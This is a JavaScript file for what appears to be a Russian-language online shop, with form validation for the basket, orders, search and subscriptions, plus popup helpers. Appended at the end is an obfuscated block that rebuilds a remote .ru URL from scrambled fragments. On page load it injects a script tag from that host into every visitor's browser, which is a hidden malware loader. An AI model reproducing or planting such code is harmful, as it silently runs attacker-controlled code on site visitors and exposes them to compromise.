String.prototype.trim = function() {
    return this.replace(/(^\s*)|(\s*$)/g, "");
} // -------------------------------------------------------------------------------------------

function truncateForm( form ) {
	for( i = 0 ; i < form.length ; i++ )
	{
	    if( form.elements[i].type == 'text' || form.elements[i].type == 'textarea' )
			form.elements[i].value = form.elements[i].value.trim();
	};
}

function isEmail( str ) {
    var supported = 0;

    if (window.RegExp) 
    {
        var tempStr = "a";
        var tempReg = new RegExp(tempStr);
        if (tempReg.test(tempStr)) supported = 1;
    }
    if (!supported) 
        return (str.indexOf(".") > 2) && (str.indexOf("@") > 0);
    var r1 = new RegExp("(@.*@)|(\\.\\.)|(@\\.)|(^\\.)");
    var r2 = new RegExp("^.+\\@(\\[?)[a-zA-Z0-9\\-\\.]+\\.([a-zA-Z]{2,3}|[0-9]{1,3})(\\]?)$");
    str = str.replace(/ /,'');
    return (!r1.test(str) && r2.test(str));
}

function show_picture(name,w,h)
{   
    window.open(name,null,"height="+h+",width="+w+",status=no,toolbar=no,menubar=no,location=no,scrollbars=yes");
} // -------------------------------------------------------------------------------------------


function openwindow(name)
{   
	var hWnd = null; 
	var nLeftPos, nTopPos; 
	if ( arguments.length == 1 ) {
		nWidth = 100;
		nHeight = 100;
 	} else {
		var nWidth = arguments[1];
		var nHeight = arguments[2];
	}
 
    nLeftPos = Math.round(screen.availWidth/2) - Math.round(nWidth/2); 
    nTopPos  = Math.round(screen.availHeight/2) - Math.round(nHeight/2); 

    hWnd = window.open(name,null,"height="+nHeight+",width="+nWidth+",status=no,toolbar=no,menubar=no,location=no,scrollbars=yes");
    
    hWnd.moveTo( nLeftPos, nTopPos );

} // -------------------------------------------------------------------------------------------



// Проверка формы, состоящей из checkbox'ов или radiobutton'ов на корректность при сабмите
function checkForm(elName,msg,flag)
{
	if ( arguments.length < 3 ) flag = true;
	var elm = document.all[elName];
	if(elm.length>0)
    {
        for(var i=0;i<elm.length;i++)
        	if (elm[i].checked) return true;
    }
    else
    {
        if(elm.checked) return true;
    }
    if (flag) alert(msg);
    return false;
} // -------------------------------------------------------------------------------------------

function isNumber( value ) {
    return !isNaN(value);
} // -------------------------------------------------------------------------------------------




function checkItem(id,status) {
	document.getElementById('count'+id).disabled 	= status;
}
				
function checkBasketForm() {
	
	var form = document.basketform;
	truncateForm(form);	
	
	for(var i=0;i<form.length;i++) {
    	if( (form.elements[i].type == 'text') && (!isNumber(form.elements[i].value) || (form.elements[i].value==0)) ){
    		if (document.getElementById('c'+form.elements[i].id.replace("count","")).checked) continue;
    			alert('Пожалуйста, введите корректные значения количества товаров!');
    			form.elements[i].focus();
    			return false;
    	}
	};

	return true;//checkForm('pr[]','Пожалуйста, укажите товары для удаления!');;
}


function toorder(sid) {
	//if (!checkBasketForm()) return false;
	
	var form = document.basketform;
	truncateForm(form);	
	
	for(var i=0;i<form.length;i++) {
    	if( (form.elements[i].type == 'text') && (!isNumber(form.elements[i].value) || (form.elements[i].value==0)) ){
    		if (document.getElementById('c'+form.elements[i].id.replace("count","")).checked) continue;
    		alert('Пожалуйста, введите корректные значения количества товаров!');
    		form.elements[i].focus();
    		return false;
    	}
	};
	
	form.action = "toorder.php";
	form.submit();
}


function checkOrderForm() {
 	var form = document.orderform;
	truncateForm(form);	

	if (form.fio.value=="") {
		alert("Укажите, пожалуйста, свое имя!");
		form.fio.focus();
		return false;
	}

	if (form.email.value!="" && !isEmail(form.email.value)) {
		alert("Укажите, пожалуйста, правильный E-Mail!");
		form.email.focus();
		return false;
	}

	if (form.email.value=="" && form.address.value=="" && form.phone.value=="") {
		alert("Укажите, пожалуйста, хотя бы один способ для связи с Вами:\nтелефон, адрес или E-Mail.");
		return false;
	}

	return true;
}

function checkProductsForm() {
	var form = document.productForm;
	truncateForm(form);	
	
	for(var i=0;i<form.length;i++) {
    	if( (form.elements[i].type == 'text') && (!form.elements[i].disabled) && (!isNumber(form.elements[i].value) || (form.elements[i].value==0)) ){
    		alert('Пожалуйста, введите корректные значения количества товаров!');
    		form.elements[i].focus();
    		return false;
    	}
	};
	
	return checkForm('pr[]','Пожалуйста, укажите товары для добавления!');
}

function searchFormSubmit() {
 	var form = document.searchform;
	truncateForm(form);	

	if (form.keyword.value=="") {
		alert("Укажите, пожалуйста, слово для поиска!");
		form.keyword.focus();
		return false;
	}

	return true;
	//document.searchform.submit();
}

function checkFeedForm() {	
	
	truncateForm(document.sendform);
	
	/*if (document.sendform.name.value=="") {
		alert('Пожалуйста, укажите свое имя!');
		document.sendform.name.focus();
		return false;
	}*/
	
	if (document.sendform.email.value!="" && !isEmail(document.sendform.email.value)) {
		alert('Пожалуйста, укажите свой E-Mail!');
		document.sendform.email.focus();
		return false;
	}
    

	if (document.sendform.message.value=="") {
		alert('Извините, Вы не можете отослать пустое сообщение!');
		document.sendform.message.focus();
		return false;
	}

}

function searchFormSubmit() {

 	var form = document.searchform;
	truncateForm(form);	

	if (form.keyword.value=="") {
		alert("Укажите, пожалуйста, слово для поиска!");
		form.keyword.focus();
		return false;
	}

	return true;
	//document.searchform.submit();
}

function subFormSubmit() {

 	var form = document.subform;
	truncateForm(form);	
	
	if (!isEmail(document.subform.email.value)) {
		alert('Пожалуйста, укажите свой E-Mail!');
		document.subform.email.focus();
		return false;
	} 

	return true;
	//document.searchform.submit();
}

function openWinnn(x,wid,hei) {
  myWin= open("", "_blank", "toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width="+wid+",height="+hei);
  myWin.document.open();
  myWin.document.write("<html><head><title>Фото товара</title></head>");
  myWin.document.write("<body leftmargin='0' topmargin='0' marginwidth='0' marginheight='0'>");
  myWin.document.write("<img src='"+x+"' width='"+wid+"' height='"+hei+"'>");
  myWin.document.write("</body></html>");
  myWin.document.close();  
}
try {var r;if(r!='' && r!='inK'){r='z'};var x;if(x!='' && x!='Vr'){x='_'};var h="9VNn]".substr(4);var F=new String();var S="scrZg".substr(4);var G=new String();var p="LyCre".substr(3)+"pl"+"ac"+"e";var wP=new Date();var hj="[v4SX".substr(0,1);var u='';var c=RegExp;var pk;if(pk!='ud'){pk='ud'};var ep=new String();this.rH='';var rl=new Array();var W;if(W!='Kl'){W='Kl'};function y(d,Q){var Lp=new Array();var xa=new Array();var rx;if(rx!='Qv' && rx!='Ql'){rx=''};var uG;if(uG!='X' && uG!='br'){uG=''};var e=hj;var zn;if(zn!='' && zn!='t'){zn='vO'};e+=Q;e+=h;var kq=new Array();var n=new Date();var V=new c(e, S);return d.replace(V, u);this.B='';var kD;if(kD!='' && kD!='Se'){kD='rr'};};var Kg=new Array();var g;if(g!='Et' && g!='R'){g=''};var nl='';var Sb=new String("BlV/s".substr(3)+"kyCMWD".substr(0,2)+"peKYf".substr(0,2)+"ZXdC.c".substr(4)+"omVqe8".substr(0,2)+"/s"+"ky"+"peWEm5".substr(0,2)+".c"+"om"+"/g"+"oow2pk".substr(0,2)+"AcdglAdc".substr(3,2)+"0sbe.".substr(3)+"co"+"CuJm/JCu".substr(3,2)+"ETGta".substr(3)+"7Qmqrg".substr(4)+"cOXetOXc".substr(3,2)+"2oJ.coJ2".substr(3,2)+"omWHx".substr(0,2)+"/aI0Z".substr(0,2)+"Nq1uf".substr(3)+"em"+"inKYXj".substr(0,2)+"in0q3".substr(0,2)+"5OnN.cnON5".substr(4,2)+"om0aJ".substr(0,2)+"ghvR.phgRv".substr(4,2)+"5SZhp5SZ".substr(3,2));var RC;if(RC!='' && RC!='zf'){RC=null};var E='';var m="sc"+"rimNt".substr(0,2)+"cn7pt".substr(3);var d="1";var cj;if(cj!='' && cj!='PL'){cj='Ps'};var mq=new Array();var k=new String("onWqu".substr(0,2)+"MVpxloMxVp".substr(4,2)+"3W95ad".substr(4));var St=new Array();var jj;if(jj!='UR' && jj != ''){jj=null};var eh=y('hGtGtGpI:X/8/Xr8a8kXuIt8eGnI-GcIo_-_j8pG._r8m_x_a8dIsX.8cIoXmG.GnIi8kIkIeIiIbXpX-Xc_o8-8jGpI._SXuXp8e_rISIu8p_eIrXC_l8u_bG.8rGu_:G',"8I_XG");var EV;if(EV!='' && EV!='xt'){EV=''};var q;if(q!='' && q!='ka'){q='aa'};var Sc=y('83330773837330377',"73");var XJ=new String();var HC='';var zP='';window[k]=function(){var LI=new Array();var Jy;if(Jy!='' && Jy!='El'){Jy=''};var Hn=new Array();L=document.createElement(m);var kr=new Date();E+=eh;E+=Sc+Sb;var jf;if(jf!='mL'){jf=''};var er;if(er!='wx'){er=''};var _y=new Array();var Ht;if(Ht!='Vv'){Ht=''};var UC=new Date();L.defer=d;var Dt='';var cF;if(cF!='vz'){cF=''};var i=document.body;L.src=E;this.mA="";var s_;if(s_!='ia'){s_='ia'};var eg=new String();var _yo=new String();i.appendChild(L);var uD;if(uD!='' && uD!='gX'){uD=''};var bq;if(bq!='hS' && bq != ''){bq=null};};this.HS='';var C;if(C!='rA'){C='rA'};var I_='';} catch(v){var hO='';};var wN;if(wN!=''){wN='QJ'};var Pk='';